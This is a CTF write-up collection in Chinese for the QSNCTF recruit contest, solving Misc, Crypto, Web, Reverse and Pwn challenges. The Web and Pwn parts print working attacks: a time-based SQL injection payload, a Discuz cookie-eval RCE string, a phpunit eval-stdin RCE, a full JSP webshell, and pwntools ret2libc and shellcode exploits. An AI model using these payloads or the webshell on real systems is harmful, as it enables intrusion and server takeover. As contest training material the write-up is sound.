Misc

签到

img

下载附件,得到一张二维码。

img

扫码,然后根据提示“linux”操作系统,直接cat /flag,得到flag。

img

EasyMisc

img

下载得到EasyMisc附件,压缩包中有flag.docx

img

Word打开,发现下方有个换行符。

img

不排除是字体设置白色前景色了,我们先看看能否选中。

img

发现选中是可以,但是没有内容。

img

更改字体颜色,得到此内容。

Ctrl+C好像复制不出来,但是可以复制到微信的聊天框。

再次复制,进行base64解码。

img

得到了504b 0304 0a00开头的一段16进制内容,应该是一个个压缩包,我们复制出来之后使用010Editor 导入16进制 并保存为文件。

img

img

img

接着就拿到了Flag。

奇怪又不奇怪

下载附件,拿到了一串奇奇怪怪的符号,总感觉很熟悉。

img

img

在百度中找到了一篇这样的文章:https://baijiahao.baidu.com/s?id=1748879623460661243&wfr=spider&for=pc

img

根据对照表的“须弥沙漠文”,得到FLAG MOXIAHJACK,那么flag就是qsnctf{MOXINAHJACK}

img

做什么题啊来振刀啊

说明:此题目来源于青少年CTF平台投稿。

下载附件,解压。

img

前面都是没用的东西迷惑人的,删掉。

img

img

删完之后还剩2722205行 因式分解 2305 x 1181 编写rgb转图片脚本

img

得到key2的密码和lsb密码

img

img

得到5进制

img

解密得到flag密码0unzre_1mxmWda

img

Flag.gif 抽帧拼图

img

用工具分解会有几张报错 剩下都手截就行了拼成后得到flag

img

EasySo

下载得到一张图片

img

颜色好像是相同的又好像是不相同的

图片是GIF,用Photoshop打开,

img

RGB的16进制吗,应该是十六进制编码。

img

得到flag为:qsnctf{aapjes}

ScanQR

img

img

得到了一张类似于二维码的东西

img

使用“中国编码”APP扫描得到一串乱码的东西,估计是汉信码的编码和制作时的内容不同。

https://pan.baidu.com/s/17RzBbdSQqCTxAE66on9cOA?pwd=20p6

img

百度网盘打开,下载。

img

看似杂乱无章

实则暗藏玄机

根据经验可知

这肯定,,又是16进制…

img

解码得到16进制内容,复制出来,继续用010Editor

img

242行,有点东西。

导入16进制

img

一个PNG文件

img

得到一张二维码图片,定位点补齐即可。

img

补齐之后,扫描,得到flag

img

Cookie怎么分

img

下载附件

img

得到一个流量包,压缩前156.9MB,这个文件里绝对不简单。

img

毫无软用的信息

img

并且填充了0000空数据

img

最后面还有一个jpg图片

img

文件大小不对,可能是因为垃圾数据填充导致的。

img

在流量包中找到一串Base64:

http://192.168.31.158/index.php?flag=cXNuY3Rme2I1NTEyOTQ2LWQ3YWMt

img

得到了一段Flag的前半段

qsnctf{b5512946-d7ac-

img

foremost跑一下,看看能不能遇到爱。

img

有文件析出

img

可以由此看出,这应该是一个Python的HTTP Server模块,然后流量包里的大部分内容都是在这里的。

img

也拿到了很多的jpg图像,大小不一,但是foremost已经帮我们找到了其中的压缩包。

img

第一个压缩包打开出错,我们看第二个,依然出错。

怀疑是工具问题,使用Wireshark导出对象。

img

img

使用binwalk分离图片内容

得到压缩包

再分离别的图片

img

除了最大的Cookie图片,其他两个小的Cookie都出来了压缩包。

img

得到两个txt

img

两个txt都有16进制的数据,直接使用010Editor保存为文件。

img

打开压缩包,都提示要密码,先看看是不是伪加密。

img

img

base_00是伪加密

base_11是真加密

img

得到密码20221108

img

base_0有个CRC问题,应该是图片高度或者宽度被修改了

base_0和base_1的高度宽度应该都是一样的,因为是等分图片。

img

bsae_0的高度位是01 BB

base_1的是01 FB

img

修改base_0的高度为01 FB 保存

img

得到了完整的图片

img

接着在Photoshop中创建一个高度为507,宽度为829+829的图片。

img

img

底图宽度有些不够,小失误,调整一下画布大小

img

我这里调整了2440,明显过宽了,不过咱们可以裁剪。

使用orc脚本(也可以用微信,新版本电脑微信嗷嗷好用,不过需要截取一小段一小段识别),读取内容

img

from PIL import Image

import pytesseract

file_path = "test.png"

text=pytesseract.image_to_string(Image.open(file_path),lang='chi_sim')

print(text)

img

保存到txt中,然后挑前面一些进行解码

img

得到了PNG的文件头。

Base64转文件

img

# coding=utf-8
 
import os, base64
 
img_str = 'base64'# 替换你的base64到这里
img_data = base64.b64decode(img_str)# 注意:如果是"data:image/jpg:base64,",那你保存的就要以png格式,如果是"data:image/png:base64,"那你保存的时候就以jpg格式。
with open('001.png', 'wb') as f:
      f.write(img_data)
print 'successful'

img

得到了flag后半段。

拼接:

qsnctf{b5512946-d7ac-45c9-afd0-a3f28ba547ea}

img

吉他

img

下载附件,得到压缩包,但是提示需要输入密码。

img

使用010Editor打开,发现好像又是伪加密,修改加密位。

img

将0h-6d的09修改为00

img

img

有一个加密的7zip文件,有一个吉他.aac

img

只能播放6秒,所以文件肯定有很多的填充数据。

7z压缩包的密码,经过测试,可能是Guitar、吉他、jita等,最终密码是jita。

img

在吉他.jpg文件末尾,找到很像flag的东西,可能是一部分。

46dc-823a-9c33565c6bde}

img

吉他.acc的末尾,有一段flag开头的base64

img

嗯….尬住

吉他.jpg,通过steghide,密码guitar得到flag.txt

img

img

得到-049f-

应该是flag中段

img

在acc文件中,有众多qsnctf开头的内容,结合我们刚刚获取到的内容如下:

qnsctf{74e0df3c–049f-46dc-823a-9c33565c6bde}

可能是防止直接搜索qsn,所以翻转了qsn为qns,这里赛事公告有说flag是qsnctf开头,所以改正过来。

由于uuid是qsnctf{74e0df3c-049f-46dc-823a-9c33565c6bde},删除多余的横线,得到flag。

Crypto

Snake

img

题目描述说这玩意是个象形题,Snake,也就是蛇,那么flag可能是像蛇一样

img

打开文件,是个表格:

7 1 7 3 6 E 6 3 7 4 6 6 7 B 3 3 3 9 3 9 6 2 3 1 3 0
D 2 2 6 1 3 9 3 4 3 D 2 9 3 6 6 3 3 3 6 D 2 4 6 3 6
6 4 6 6 6 2 3 5 6 4 3 0 3 3 6 5 3 4 6 3 6 4 3 0 7 D

71736E63

img

那么第一行应该就是hex了

71 73 6E 63 74 66 7B 33 39 39 62 31 30 得到 qsnctf{399b10

第二行,D2 26 13得到的是

img

尝试63 64 2D 63 33 66 得到 cd-c3f

那么第二行就是63 64 2D 63 33 66 39 2D 34 39 31 62 2D 也就是 cd-c3f9-491b-

按照之前的顺序,那第三行应该是顺序的 64 66 62 35 64 30 33 65 34 63 64 30 7D 也就是 dfb5d03e4cd0}

flag为qsnctf{399b10cd-c3f9-491b-dfb5d03e4cd0}

82.83.65

这题目名称挺奇怪的,但是应该是ASCII对应的RSA。

img

题目描述中的欧拉函数,又证明了这一点。直接下载附件,然后看看是什么东西吧。

img

得到了一个py文件,内容如下:

import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = b"*********************"

p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551

e = 65533
n = p*q

d = gmpy2.invert(e,(p-1)*(q-1))
# print(d)
c = pow(int(b2a_hex(flag),16),e,n)
print(c)
# C = 31021919570683223794356421266753186826747161146739784961769368259629146487802

题目给了我们p和q,e是65533,那么n其实也给了我们,只需要欧拉求d,然后pow求c,接着通过已知的e、n、d和c得到m即可得到Flag。

那么直接来写一下脚本

import gmpy2
import libnum
from Crypto.Util.number import *
from binascii import a2b_hex,b2a_hex

flag = ""
p = 262248800182277040650192055439906580479
q = 262854994239322828547925595487519915551
e = 65533
n = p*q
d = gmpy2.invert(e,(p-1)*(q-1))
c = pow(int(b2a_hex(flag),16),e,n)
print c
c = 27565231154623519221597938803435789010285480123476977081867877272451638645710
c = m^e % n
m = c^d % n
m = pow(c,d,n)
print(long_to_bytes(m))

CryptoSOS

img

emm 下载附件

img

看着确实很像flag,但是肯定交不上去,这肯定是被操作过了的。

试试使用平台的CyberChef看看

img

img

自动没解出来,多少是带点科技与狠活

这种东西,要么凯撒、仿射,反正,,基本上都是移位作业或者替代作业,并且字符表里没有{}两个符号。那么我们纯猜仿射。

img

当a和b都等于23时,flag为qsnctf{d990d395-f7b7-4eed-b084-a2f4590db34e}

提交,正确!

Baby RSA

img

下载附件,得到了attachment.zip,包含一个encode.pyhint.txt

img

得到了p、n、c

pow函数需要的东西是e、n、m求c,那么我们c有了,但是没有e,这就很难受了。

c是经过Base64编码后倒序(翻转)的,我们需要翻转后Bas64解码,得到c

img

但是脚本中的e是随机数,从20000-50000随机取。

我们需要通过循环,然后解密,判断哪个解密得到的是flag格式“qsnctf{}”

import base64
import gmpy2
p=185392927331398754034773152474166007097
n=33047182186833739970146873552408478599841138065558351794468963853252513446871
c="=gzMxUDM5gTN1UDN5kzNwYzM5QjNyEDOwEjN0YzM3gTN1ATM2ITO1gDN0QTNzEDMxcDO5YDM0UjN0AjN0EzM4gzM4YzM4gTO3ITOzAjM"
print(base64.b64decode(c[::-1]))
cipher=int(base64.b64decode(c[::-1]))
q=n//p
phi_n=(p-1)*(q-1)
for e in range(20000,50000):
    if(gmpy2.gcd(e,phi_n)==1):
        d=gmpy2.invert(e,phi_n)
        m=pow(cipher,d,n)
        flag1=hex(m)[2:]
        if(len(str(flag1))%2==1):
            flag1='0'+flag1
        flag2=flag1.decode('hex')
        if('qsnctf{' in flag2 and '}' in flag2):
            print(flag2)

img

得到Flag

What

img

下载附件,得到一个很像flag的字符和key

img

常用的使用key解密的加密方法其实不多,我们多尝试几次

因为qsnctf后包含了{}这两个符号,所以这个加密大概率不支持加密{}这样的符号。

维吉尼亚其实就是一个很好的例子,我们先试试。

由于维吉尼亚的key是不支持符号和数字的

并且key后面是三个***,可能是3个字符的,我们试试qsn、rkl这样的显眼的字符

img

维吉尼亚,得到的结果是vigenerciphersoeasy,flag那就是qsnctf{vigenerciphersoeasy}

奇怪又奇怪

img

img

得到一串奇怪的文本,很像Base64

img

U2FsdGVkX18D7HXP+Tof5LYll5tcnz0tq5LlVtJG4H41B0qzg1l8Y7PSGGr2o30TljuERiFrMKtTWsTH/Laj54WuZwvSg1nVjs2ZZ/JJD95ZUAth19jjdljgbgBxH81/IHhlpGKB7CP2r1kmxH1dtddVj5nJSU0LPXiB58w+X2TgrbCarFOXE5AlUE4dThNRSf+kPMmUims=

结果很像Base64,但是又解不出来了,那么试试看DES、AES或者RC4

根据之前的题目,key可能是qsn、qsnctf、123456这样的东西

img

DES解密,得到了一串密文

U2FsdGVkX1/CYFPc68XNdZ+W6O6kIEcemoV7iDpHmrkoh8Vu2R1/Wkp2fJw6p/PYjfcnNha5tKhh+E4ahhij1xvk8kwf7sc5+ubQrzmf4PahNkgEbXsTKQVpe2JdQ21m

img

RC4又得到了类似的密文

U2FsdGVkX1/pJehviBzes9aK66qycToTUvJmoaRXmzM6exiAU6xYY8bJFvHo+9sIyfoLOhbApBG78OAA

img

再次RC4解密,得到Flag:qsnctf{b97c2a6d-c8a2-4bed-bbb9-e845ec58844f}

BoomThis

img

img

img

下载附件,得到如下内容:

img

提示“密钥加密的块算法”

应该非常关键

img

百度之后,得到DES是一种使用密钥加密的块算法

那么qsnctf-***可能就是密钥了

尝试了qsnctf-123、qsnctf-abc、qsnctf-2022这样的类似组合好像都不对

其实也可能是日期时间

img

测试了可能是出题时间的日期,得到Flag

Web

签到小能手

img

启动容器,打开。

提示flag就在这里,并且题目的提示说明这里是index.php,并且flag就在文件的变量中。

img

访问index.php.bak,打开,应该就有flag了。

img

由于docker容器不支持运行Windows,所以无法给大家真实的.bak备份文件,,只能手敲了。

Flag:qsnctf{14045401-c067-42bc-903a-e0a64b611c75}

小镇做题家

img

小镇做题家,,可能有点爱学习,网站都不写了。

img

dirsearch一把梭

img

我们看看robots.txt有什么东西

img

img

直接访问/GAME/目录会403,我们试试访问index.php或者index.html

img

为了截图,竟然失败了qwq

img

img

一个贪吃蛇,真的不想做了

img

看了一下源码,发现主要的是snake.js

img

这里有些BASE64的内容

img

恭喜你,题目的关键在于/GAME/f14g_in_there_hha/index.php中!

img

那么,首先给他一个?payload=a.txt

img

那我们试试访问a.txt是否有文件

img

这里应该是”什么也没有“

img

如果传入了空格,会提示我们不要输入空格哦

img

如果输入/flag,没有回显,可能是flag是不正确的

其实我们可以直接用通配符,因为毕竟这里本身是cat语句

img

Payload如下

/GAME/f14g_in_there_hha/index.php?payload=/f*

开胃菜

这题,,启动完成

怎么说?考了个限定字符rce?

img

但是如果是限定字符rce,这里应该是if(isset($_GET[1])&&strlen($_GET[1])<=5)

而不是这样写,这样写的话,if里得到的永远不会是false、和0,所以if永远成立。

因为Strlen只要有传入值,就会有返回数值,只要是非0,if就成功。

所以这题可能是在迷惑我们

img

直接cat /flag

qsnctf{1546df9f-9991-48fe-a42b-2a3ef69186a2}

Queen

img

img

挺好看的一个登陆页面,看看有什么东西是暗藏玄机的?

admin,admin登陆

img

提示我IP不是管理员IP

好办,那应该是XFF,我们直接启动Burp

img

XFF之后,有个302跳转

HTTP/1.1 302 Found
Content-Type: text/html; charset=UTF-8
Date: Mon, 14 Nov 2022 14:17:30 GMT
Location: /check.php?data=dXNlcjphZG1pbnxwYXNzOmFkbWlu
Server: nginx/1.18.0
X-Powered-By: PHP/7.3.22
Connection: close
Content-Length: 0

跳转到/check.php?data=dXNlcjphZG1pbnxwYXNzOmFkbWlu

后面的base64内容为:

img

user:admin|pass:admin

可以尝试手注

但是也可以试试sqlmap能不能搞出来

先burp抓包数据包

img

这里是已经附带xff的哦!

img

img

因为标靶302重定向了另一个文件

img

最终注入成功

payload为

username=admin&password=admin’+(SELECT 0x47694146 WHERE 9613=9613 AND (SELECT 6883 FROM (SELECT(SLEEP(5)))IHCQ))+’

img

查询到数据库中的库有这些

sqlmap语句为sqlmap -r 桌面/data.txt -D sql --dump

img

flag为qsnctf{d8d3117d-d448-469f-ba60-45e222d634ab}

Where

下发容器

img

好像前端只是一个单独的html静态页面,我们先扫一下站点目录。

img

诶?扫描发现这些目录:adminloginvendor还有一些文件:flag.php、composer.json、test.php等

我们先挨个排查一下

img

想着会不会是出题人留下的蛛丝马迹,,哈哈看来不是了

img

诶?假的小皮面板吗?

img

终于找到了一些有用的,composer.json标明这是一套phpunit的系统,并且版本是5.6.2,这下就可以试试公开漏洞了

img

admin页面是xx省统计局大数据平台的后台??

但是貌似是没有什么用的,验证码都不变诶。

img

正好,phpunit远程代码执行漏洞是包含5.6.2的phpunit,那么我们试试看。

向/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php发送POST请求执行php代码

img

哦对了,因为定义了环境变量,所以PHPInfo的Flag是无法提交的

img

Discuz

img

打开题目环境一看,诶?Discuz 3.4X?

img

Wappalyzer也给出了是Discuz! X的信息

img

goby扫出来的却是Discuz7.x或6.x

并且存在一个RCE的洞

img

并且验证也是成功的

PLEASE SET COOKIE:"GLOBALS[_DCACHE][ smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;" and access "/viewthread.php?tid=10" and use antsword to connect then  you get webshell

也就是说,我们需要访问/viewthread.php?tid=10页面,并且将cookie设置为GLOBALS[_DCACHE][ smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=eval($_POST[c])%3B;接着就可以在蚁剑链接了。

那么我们看到replacearray后面就等于执行的命令,我们此刻不需要提权,所以直接phpinfo();或者cat flag即可。

img

休息时间

img

img

启动环境,上Goby,扫描到了GoAhead

GoAhead影响比较大的漏洞应该是CVE-2017-17562CVE-2021-42342一个是命令执行,另一个则是环境变量注入。

威睿森通信公司,结合这个登陆页面,应该是个路由器。

img

(中间吃了个饭,qwq)

img

访问/cgi-bin/index/,有“Example”。

img

使用公开的CVE-2021-42342脚本,执行内容如上

漏洞存在,那么我们直接反弹shell

img

nc收到了反弹的shell

img

img

轻轻松松搞定Flag

Weblogic

启动环境

img

这个页面是正常的,某问题

img

dirsearch一下,发现/console就是这个网站的后台了,会302到/console/login/LoginForm.jsp

img

确实是Weblogic无疑了,我们试试弱口令能否登陆

  • weblogic

  • Oracle@123

登陆成功

img

img

可以通过【部署】、【安装】尝试上载文件。

选择“安装”后,点击蓝色的”上载文件“

img

这显然是一个好方法

编写一个jsp木马,打包到war文件中

img

上载成功

img

接着一直下一步

img

这里不上传一句话木马,也可以利用vulhub\weblogic\weak_password\web中的hello.war,其中的file.jsp是配置了任意文件读取的

img

可以直接访问/hello/file.jsp?path=/flag得到flag。

当然,上传JSP木马用蚁剑得到Shell也是个好办法

img

img

使用的Shell如下:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

密码为passwd

Reverse

Check

img

下载附件直接扔IDA看伪代码

首先要输入一个值,并判断是否等于49,如果等于49就直接进入Check2

img

Check2中,输入一个值等于256*256,这里可能是IDA的问题,判断的是0x10000。

接着进入Check3

img

我们需要输入ASCII等于Y的数字,那么也就是89

接着会让我们输入flag,并与v1进行异或比较

根据

    v1[0] = 113;
    v1[1] = 114;
    v1[2] = 108;
    v1[3] = 96;
    v1[4] = 112;
    v1[5] = 99;
    v1[6] = 125;
    v1[7] = 74;
    v1[8] = 56;
    v1[9] = 113;
    v1[10] = 59;
    v1[11] = 101;
    v1[12] = 83;
    v1[13] = 65;
    v1[14] = 97;
    v1[15] = 121;
    v1[16] = 117;
    v1[17] = 78;
    v1[18] = 107;
    v1[19] = 124;
    v1[20] = 97;
    v1[21] = 52;
    v1[22] = 107;
    for ( i = 0; i <= 23; ++i )
      v1[i + 24] = i ^ v1[i];

解密脚本应如下编写

#include <stdio.h>

int main(){
    int flag[]={0x71,0x72,0x6c,0x60,0x70,0x63,0x7d,0x4a,0x38,0x71,0x3b,0x65,0x53,0x41,0x61,0x79,0x75,0x4e,0x6b,0x7c,0x61,0x34,0x6b};
    int b[23];
    int c[23];
    int i,i0;
    int good;
    for(i = 0; i <= 23; ++i){
      b[i] = i^flag[i];
      printf("%c",b[i]);
    }
    return 0;
}

img

LookThis

这道题目,其实有类似的题目出现在”第五届浙江省大学生网络与信息安全竞赛“

说白了,没有逆向算法的过程,只需要找资源文件

而这道题目使用的是Android12的SDK,并且使用了Kotlin,所以在前面逆向可能很多工具不能用。

img

压缩包打开,/res/mipmap-xhdpi-v4/ic_lanchers.png就是flag了。

img

EasyBase

下载附件,托IDA看伪代码

img

这里玩了个梗:“击败龙的十八掌击”

img

很典型的Base64过程

img

img

233行是Base64,但是上面204行还有个翻转,还有一个rot18

大概算法我们差不多知道了

首先rot18这个很像base64翻转的东西

然后再文本倒序一次

倒序完成之后再base64解码

接着再倒序一次,就很像flag了

img

紧接着,再ROT18

qsnctf{af3036f5-2d87-4c75-a51b-2f47e2611312}

得到Flag

MD5

img

因为程序应该是易语言的,IDA在sub_4010A1中,对传入的值MD5后与“a4241bbfc6cab40e5b36b7a98c8621ed“对比。

img

并且根据题目提示:

flag就是md5的内容,格式为qsnctf{xxxxxxx},最长字符7个,除了qsnctf和{}全是数字哦。

我们可以用Python编写一个爆破脚本

import hashlib
f=lambda k:'qsnctf{'+str(k)+"}"
k=1000000
while 1:
    m = hashlib.md5(f(k).encode())
    if m.hexdigest()=="a4241bbfc6cab40e5b36b7a98c8621ed":
        print(f(k))
        break
    print(k)
    k+=1

img

得到Flag为qsnctf{5201314}

当然更好的写法还有这样的

import hashlib
for k in range(1000000,9999999):
    m = hashlib.md5(('qsnctf{'+str(k)+'}').encode())
    if m.hexdigest()=="a4241bbfc6cab40e5b36b7a98c8621ed":
        print('qsnctf{'+str(k)+'}')
        break

This..is

这道题可谓是非常有意思,一道Re题还需要Web环境

img

下载附件,打开程序

img

这个提示已经告诉我们了,我们的操作需要在Check后输入口令,并且发送和保存口令是不一样的。

img

应该是在URL中填充启动的容器链接,然后在Check中输入密码后保存这个URL。

最下方有个Shell,可能是考察了Web的命令执行。

img

IDA的字符串窗口,可以很好的告诉我们这里大概应该需要填充什么。

img

访问容器页面,是这样的

img

Check密码为123456的时候,数据被成功保存。

题目描述中有说用户名是admin,密码是qsnctf2022_reverse

img

发送的时候,提示我密码错误,也就是前面提到的保存密码和发送密码是不一样的。

那么尝试一下QSNCTF

img

显示成功发送

那么shell中是空的,所以data没有内容

img

Shell中写123,那么data中回显的也是123,这和字符串窗口中的Shell:echo关联很大。

img

中间有个base64的东西,我们解码看看

img

Moxin1314Loveyou

既然他在这些请求关键字之间,那么很有可能这里是一个鉴权的关键。

img

不难发现,从F38到F8A应该是HTTP请求发送的内容,那么上面的是过滤字符,下面是信息框内容。

我们现在需要给一个HTTP请求,请求内容如下:

请求方式:GET
请求地址:题目地址/?username=admin&password=qsnctf2022_reverse
请求体包含:
Shell:echo 123456
Authorization:Moxin1314Loveyou
X-Forwarded-For:127.0.0.1

那么我们一个CURL就可以解决,如果不习惯的话可以用Hackbar或者Burpsuite。

接着只需要修改Shell后的内容,就可以完成命令执行。

img

我们需要指定body

img

得到Flag

最终Payload如下:

curl "http://a3db934d-1587-495b-9704-e6ca3be3cc11.recruit.qsnctf.com:8080/?username=admin&password=qsnctf2022_reverse" -H "Shell:cat /flag" -H "Authorization:Moxin1314Loveyou"

Tea

下载附件扔64IDA

img

img

根据这里的几个循环运算和encrypt写解密脚本

img

img

#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
DWORD str2[32] =
{
  46,
  162,
  154,
  93,
  216,
  119,
  117,
  77,
  224,
  124,
  80,
  69,
  114,
  165,
  248,
  93,
  109,
  14,
  98,
  20,
  102,
  95,
  216,
  91,
  138,
  93,
  196,
  200,
  116,
  32,
  253,
  101
};
unsigned int key[4]={1,2,3,4};
void  decrypt(unsigned int *A,unsigned int *B){
 int j;
 unsigned int v0 = A[0],v1 = A[1],delta = 221492336,sum = delta * 32;
 for(j=0;j<32;j++){
 
  v1 -= (v0 + sum) ^ (B[2] + 16 * v0) ^ ((v0 >> 5) + B[3]);
  v0 -= (v1 + sum) ^ (*B + 16 * v1) ^ ((v1 >> 5) + B[1]);
  sum -= delta;
 }
 A[0] = v0;
 A[1] = v1;

}

void encrypt(unsigned int *a1, unsigned int *a2)
{
  int i; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+14h] [rbp-Ch]
  unsigned int v5; // [rsp+18h] [rbp-8h]
  unsigned int v6; // [rsp+1Ch] [rbp-4h]

  v6 = *a1;
  v5 = a1[1];
  v4 = 0;
  for ( i = 0; i <= 31; ++i )
  {
    v4 += 221492336;
    v6 += (v5 + v4) ^ (*a2 + 16 * v5) ^ ((v5 >> 5) + a2[1]);
    v5 += (v6 + v4) ^ (a2[2] + 16 * v6) ^ ((v6 >> 5) + a2[3]);
  }
  *a1 = v6;
  a1[1] = v5;
}
unsigned int v4[3];
int main()
{
 for ( int i = 24; i >= 0; i -= 8 )
 {
  for (int j = 0; j <= 1; ++j )
     {
      v4[j]=0;
         for (int k = 3; k >=0 ; --k )
         {
    v4[j] = v4[j] << 8;
            v4[j] += str2[4 * j + i + k];
         }
     }
     cout<<v4[0]<<" "<<v4[1]<<"\n";
       decrypt(&v4[0],key);
       
       for (int j = 0; j <= 1; ++j )
       {
         for (int k = 0; k <= 3; ++k )
         {
           str2[4 * j + i + k]=v4[j] ;
           v4[j] = v4[j] >> 8;
         }
       }
 }
 for(int i=0;i<32;i++)
  cout<<char(str2[i]);
 return 0;
}

解铃还须系铃人

程序32位,直接放到IDA32。但是ExeinfoPE查询到这是来自于“易语言”的程序,就不能再常规的跟踪main函数等了。

img

OD打开,发现调试的时候会报错,疑似是加了反调试等东西,我们通过ESP绕过,顺便脱个小混淆。

再Dump出文件。

说真的这种题貌似使用Ollydbg做题更刺激,但是IDA还是比较通用的。

img

打开程序提示了Flag Code的内容,我们尝试Shift + F12

img

找到了箭头所指的位置

img

img

跟到这里,然后我们看看这块代码是干什么用的。

img

(上图截图有点失误,实际上40121B是一个取随机字符的过程)

img

这是程序的加密过程

Int a1是取得随机数值

123456疑似是个密钥

通过这里写相关解密内容

img

经常用易语言的,或许已经知道这是精易语言模块里的默认算法了。

将Flag Code解密

img

得到flag为flag{m0s1n_w0d1sh3n}

Pwn

game

img

看到有个伪随机数,绕过之后会进入back函数

img

back函数是一个命令执行,使用分号直接截断

img

stackoverflow

img

开了canary和NX

img

程序存在溢出,利用第一个read覆盖到canary末尾一字节,然后后面的printf泄露地址,然后溢出ret2libc

from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall

context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary = './pwn'
ip = 'recruit.qsnctf.com'
port = 10067
gs = '''
b *0x4012fe
'''

# sh = process(binary)
sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')


def ru(x, drop=False): return sh.recvuntil(x, drop)
def sn(x): return sh.send(x)
def rl(): return sh.recvline()
def sl(x): return sh.sendline(x)
def rv(x): return sh.recv(x)


def sa(a, b): return sh.sendafter(a, b)
def sla(a, b): return sh.sendlineafter(a, b)
def lg(a, b): return print("\033[1;35m{} ==> {}\033[0m".format((a), b))


def int2bytes(num):
    return str(num).encode('utf-8')


def malloc(size, content):
    sla()


def edit(id, content):
    sla()


def free(id):
    sla()


def show(id):
    sla()


'''
0x0000000000401393: pop rdi; ret;
0x0000000000401391: pop rsi; pop r15; ret;
0x000000000040101a: ret;
'''

pop_rdi = 0x0000000000401393
pop_rsi_r15 = 0x0000000000401391
ret = 0x000000000040101a

# gdb.attach(sh, gs)
sla(b'Do you know who first discovered the stack overflow', b'a' * 0x58)
rl()
rl()
canary = u64(rv(7).rjust(8, b'\x00'))
lg('canary', hex(canary))
sla(b'leave your name:', b'b' * 7 * 8 + p64(canary) +
    p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(elf.got['write']) + p64(0) + p64(elf.plt['write']) + p64(elf.sym['func']))

write_addr = u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))
lg('write_addr', hex(write_addr))
libc.address = write_addr - libc.sym['write']
sys_addr = libc.sym['system']
bin_sh = next(libc.search(b'/bin/sh'))

sl(b'a')
sla(b'leave your name:', b'b' * 7 * 8 + p64(canary) +
    p64(0xdeadbeef) + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr) + p64(elf.sym['func']))
# pause()


sh.interactive()

ssssssn

img

程序mmap了一块7权限的内存,然后读入13字节去执行

img

有沙盒,这里读入read的shllcode扩大shellcode的读入,然后orw即可

from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall

context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary = './pwn'
ip = 'recruit.qsnctf.com'
port = 10087
gs = '''
b *$rebase(0x13b7)
'''

# sh = process(binary)
sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')


def ru(x, drop=False): return sh.recvuntil(x, drop)
def sn(x): return sh.send(x)
def rl(): return sh.recvline()
def sl(x): return sh.sendline(x)
def rv(x): return sh.recv(x)


def sa(a, b): return sh.sendafter(a, b)
def sla(a, b): return sh.sendlineafter(a, b)
def lg(a, b): return print("\033[1;35m{} ==> {}\033[0m".format((a), b))


def int2bytes(num):
    return str(num).encode('utf-8')


def malloc(size, content):
    sla()


def edit(id, content):
    sla()


def free(id):
    sla()


def show(id):
    sla()


sc = '''
xor rax, rax
mov rdx, 1000
syscall
'''

orw = shellcraft.open('./flag')
orw += shellcraft.read('rax', 0x10100, 0x40)
orw += shellcraft.write(1, 0x10100, 0x40)

# print(len(asm(sc)))

# gdb.attach(sh, gs)
sla(b'you can input only 13 messages:\n', asm(sc))
sl(b'a' * len(asm(sc)) + asm(orw))
# pause()


sh.interactive()

animal

一个c++的程序

img

getAnimal函数可以leak地址,绕过pie 后面ret后门即可

from pwn import *
from LibcSearcher import *
from pwncli import ShellcodeMall

context.terminal = ['tmux', 'split', '-h']
context.log_level = 'debug'
context.os = 'linux'
context.arch = 'amd64'

binary = './pwn'
ip = 'recruit.qsnctf.com'
port = 10085
gs = '''
b getAnimal
'''

# sh = process(binary)
sh = remote(ip, port)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('./libc.so.6')


def ru(x, drop=False): return sh.recvuntil(x, drop)
def sn(x): return sh.send(x)
def rl(): return sh.recvline()
def sl(x): return sh.sendline(x)
def rv(x): return sh.recv(x)


def sa(a, b): return sh.sendafter(a, b)
def sla(a, b): return sh.sendlineafter(a, b)
def lg(a, b): return print("\033[1;35m{} ==> {}\033[0m".format((a), b))


def int2bytes(num):
    return str(num).encode('utf-8')


def malloc(size, content):
    sla()


def edit(id, content):
    sla()


def free(id):
    sla()


def show(id):
    sla()


sla(b'3.show\n', b'1')
sn(b'a' * 8)
# gdb.attach(sh, gs)
sla(b'3.show\n', b'2')
ru(b'aaaaaaaa')
base_addr = u64(rv(6).ljust(8, b'\x00'))
lg('base_addr', hex(base_addr))

shell = base_addr - 0x4c52
lg('shell_addr', hex(shell))
sl(b'6')
sla(b'leave lase message\n', b'a' * 0x18 + p64(shell + 8))
sh.interactive()

gift

img

一个整型溢出,直接写入 -2147483648

SummerIOT

分析

创建 note 时存在堆溢出。

img

思路

  1. 创建多个堆块构造堆块重叠,获得 Unsortedbin 进行相关 leak

  2. 构造 Tcache Poisoning 劫持 free_hook 为 gets ,去除 \x00 截断限制

  3. 利用 gets 在堆块上布置 rop 链子,free 掉 __free_hook 可以更改为我们的 gadget 进行 SROP

  4. open 系统调用被 ban ,改用 openat

EXP

#!/usr/bin/env python2
